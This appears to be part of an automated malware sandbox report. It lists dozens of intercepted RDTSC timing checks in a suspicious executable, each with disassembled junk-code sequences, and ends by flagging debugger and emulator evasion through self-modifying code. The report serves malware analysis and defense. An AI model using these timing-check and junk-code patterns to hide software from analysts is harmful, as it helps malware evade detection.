Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D24430 second address: D24435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CE5AC3 second address: CE5AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D23C85 second address: D23CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jnl 00007F1504B42016h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F1504B42025h 0x0000001a pushad 0x0000001b popad 0x0000001c jno 00007F1504B42016h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D24263 second address: D24267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D24267 second address: D242AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F1504B42022h 0x0000000d pushad 0x0000000e jmp 00007F1504B42025h 0x00000013 jnc 00007F1504B42016h 0x00000019 jl 00007F1504B42016h 0x0000001f popad 0x00000020 je 00007F1504B4201Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D242AC second address: D242B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D242B4 second address: D242BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D242BA second address: D242BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D25AB8 second address: D25ACA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D25ACA second address: D25B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1504DFF451h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007F1504DFF44Eh 0x00000018 pushad 0x00000019 jne 00007F1504DFF446h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D25B00 second address: D25B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1504B4201Fh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D25B19 second address: D25B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D25E75 second address: D25E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D25E79 second address: D25E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F1504DFF446h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1504DFF44Ah 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26680 second address: D26691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26691 second address: D266EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F1504DFF448h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 jp 00007F1504DFF44Ch 0x00000028 sub esi, dword ptr [ebp+122D3E01h] 0x0000002e push eax 0x0000002f pushad 0x00000030 push edx 0x00000031 jmp 00007F1504DFF459h 0x00000036 pop edx 0x00000037 jnp 00007F1504DFF44Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D267A4 second address: D267A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D267A9 second address: D267D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1504DFF446h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1504DFF459h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26894 second address: D2689A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D2689A second address: D268A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D268A6 second address: D268BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D268BC second address: D268C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26B55 second address: D26B5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26B5A second address: D26B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 js 00007F1504DFF448h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26CFA second address: D26CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D26CFE second address: D26D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F1504DFF448h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov esi, dword ptr [ebp+122D3D1Dh] 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c jmp 00007F1504DFF455h 0x00000031 jmp 00007F1504DFF450h 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 jo 00007F1504DFF44Ch 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D28C57 second address: D28C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1504B42016h 0x0000000a jmp 00007F1504B4201Fh 0x0000000f popad 0x00000010 je 00007F1504B4201Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D28C79 second address: D28CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F1504DFF446h 0x0000000f jp 00007F1504DFF446h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1504DFF454h 0x0000001d jc 00007F1504DFF446h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: CE0903 second address: CE0915 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D29B4E second address: D29B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1504DFF451h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D2B5CB second address: D2B5D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D2B5D1 second address: D2B5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D2B5D5 second address: D2B5EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D31D7D second address: D31D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D31D85 second address: D31DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 or edi, dword ptr [ebp+122D3C49h] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F1504B42018h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+122D1FFBh] 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D31DC7 second address: D31DDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37C02 second address: D37C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B4201Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F1504B42016h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37C20 second address: D37C2A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37C2A second address: D37C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1504B42016h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37C34 second address: D37CB1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D3EB9h] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F1504DFF448h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sbb bl, 00000073h 0x0000002e movsx ebx, ax 0x00000031 or dword ptr [ebp+122D2E13h], edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F1504DFF448h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 cld 0x00000054 xchg eax, esi 0x00000055 jmp 00007F1504DFF450h 0x0000005a push eax 0x0000005b push esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jp 00007F1504DFF446h 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37CB1 second address: D37CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D36EAB second address: D36EB9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D36EB9 second address: D36F27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42020h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sbb bh, 00000041h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov edi, dword ptr [ebp+122D3B85h] 0x0000001a call 00007F1504B42025h 0x0000001f mov edi, dword ptr [ebp+122D1D1Bh] 0x00000025 pop edi 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d mov ebx, ecx 0x0000002f mov eax, dword ptr [ebp+122D0929h] 0x00000035 and edi, 2E656E8Bh 0x0000003b push FFFFFFFFh 0x0000003d add ebx, dword ptr [ebp+122D3E95h] 0x00000043 push eax 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F1504B4201Ch 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D36F27 second address: D36F2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37DE4 second address: D37DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37DEA second address: D37DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D37DF3 second address: D37DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3A4B3 second address: D3A4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3A4C4 second address: D3A4C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3C0D9 second address: D3C0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3C0E1 second address: D3C101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42025h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3C101 second address: D3C10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1504DFF446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3B47A second address: D3B4A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jng 00007F1504B42016h 0x00000014 jno 00007F1504B42016h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3E5F6 second address: D3E5FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3E5FA second address: D3E600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D40332 second address: D40372 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push eax 0x0000000a pop ebx 0x0000000b push 00000000h 0x0000000d mov edi, dword ptr [ebp+1245BE3Fh] 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D3CB1h] 0x0000001b xchg eax, esi 0x0000001c jnp 00007F1504DFF45Dh 0x00000022 jmp 00007F1504DFF457h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3F621 second address: D3F62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D3F62C second address: D3F630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D41446 second address: D4144A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D4144A second address: D4145B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F1504DFF448h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D42271 second address: D4228E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D415BA second address: D415C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D457FD second address: D45801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D45801 second address: D4580C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D4580C second address: D45836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 jmp 00007F1504B42023h 0x0000000d pop esi 0x0000000e jnl 00007F1504B4201Eh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D46F79 second address: D46F8F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F1504DFF448h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D4C7D4 second address: D4C7EB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1504B42022h 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D4CA64 second address: D4CA6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D51D65 second address: D51D6F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D51D6F second address: D51D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	RDTSC instruction interceptor: First address: D51D75 second address: D51D8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jnc 00007F1504B42024h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F1504B42016h 0x0000001a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

